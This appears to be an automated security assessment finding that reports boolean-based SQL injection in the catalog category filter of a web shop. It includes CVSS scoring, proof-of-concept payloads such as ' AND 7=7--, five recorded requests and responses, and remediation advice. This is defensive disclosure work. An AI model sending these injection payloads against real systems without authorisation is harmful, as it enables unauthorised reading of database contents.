SQL injection in the catalog category filter
Verified on this target
The baseline and true/false responses were checked for the marker.
Assessment details
The recorded test demonstrates the finding on this target.
Severity (CVSS)
8.7 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Assessed for this target
Anyone can send the request without signing in, and the injected condition decides what the database returns.
Explanation
The category parameter of GET /catalog is placed into a SQL query without parameterisation. Appending a condition to the category changes which rows the database returns.
Prerequisites
Confirmed on this target: the catalog is public, so no account is needed.
PoC
- Request the catalog for a real category and note that Hibiscus Gin is listed.
- Append a true condition,
' AND 7=7--, and the same product is listed. - Append a false condition,
' AND 7=8--, and the listing is empty, with the same 200 status. - Repeat with a second integer (13=13 and 13=14) to rule out chance.
Evidence
Five requests to the same operation, differing only in the category value. See the evidence of record below.
Impact
Confidentiality
An attacker can ask the database yes/no questions about any data the query can reach.
Integrity
Not tested: this run was read-only.
Remediation
Use a parameterised query for the category filter, and reject category values that are not in the known list.
Evidence of record
- baselineId · r1
· req-baselineRequestGET https://ginandjuice.shop/catalog?category=Gin
ResponseHTTP 200 OK Content-Type: text/html; charset=utf-8 <h3>Hibiscus Gin</h3> <p>Floral, bright, a little tart.</p> <span class="price">$19.30</span> …
- pairs[0].trueId · r2
· req-true-1RequestGET https://ginandjuice.shop/catalog?category=Gin'%20AND%207%3D7--%20
ResponseHTTP 200 OK Content-Type: text/html; charset=utf-8 <h3>Hibiscus Gin</h3> <p>Floral, bright, a little tart.</p> <span class="price">$19.30</span> …
- pairs[0].falseId · r3
· req-false-1RequestGET https://ginandjuice.shop/catalog?category=Gin'%20AND%207%3D8--%20
ResponseHTTP 200 OK Content-Type: text/html; charset=utf-8 <section class="products"></section> <p>No products in this category.</p>
- pairs[1].trueId · r4
· req-true-2RequestGET https://ginandjuice.shop/catalog?category=Gin'%20AND%2013%3D13--%20
ResponseHTTP 200 OK Content-Type: text/html; charset=utf-8 <h3>Hibiscus Gin</h3> <p>Floral, bright, a little tart.</p> <span class="price">$19.30</span> …
- pairs[1].falseId · r5
· req-false-2RequestGET https://ginandjuice.shop/catalog?category=Gin'%20AND%2013%3D14--%20
ResponseHTTP 200 OK Content-Type: text/html; charset=utf-8 <section class="products"></section> <p>No products in this category.</p>
Typed proof
- Kind
- sqli-boolean
- Parameter
- category
- Marker
- Hibiscus Gin
- Baseline
- r1
- Pair 1
- true r2 · false r3
- Pair 2
- true r4 · false r5
Observed effect
- kind
- typed-proof
- version
- 1
- signature
- sqli-boolean
- details
- The baseline and true/false responses were checked for the marker.
- outcome
- {"parameter":"query:category","marker":"Hibiscus Gin","baseline":{"requestId":"req-baseline","markerPresent":true},"pairs":[{"trueRequestId":"req-true-1","falseRequestId":"req-false-1","trueMarkerPresent":true,"falseMarkerPresent":false},{"trueRequestId":"req-true-2","falseRequestId":"req-false-2","trueMarkerPresent":true,"falseMarkerPresent":false}]}
Derived severity metrics
- PR=N: The attack requests carried no credential context.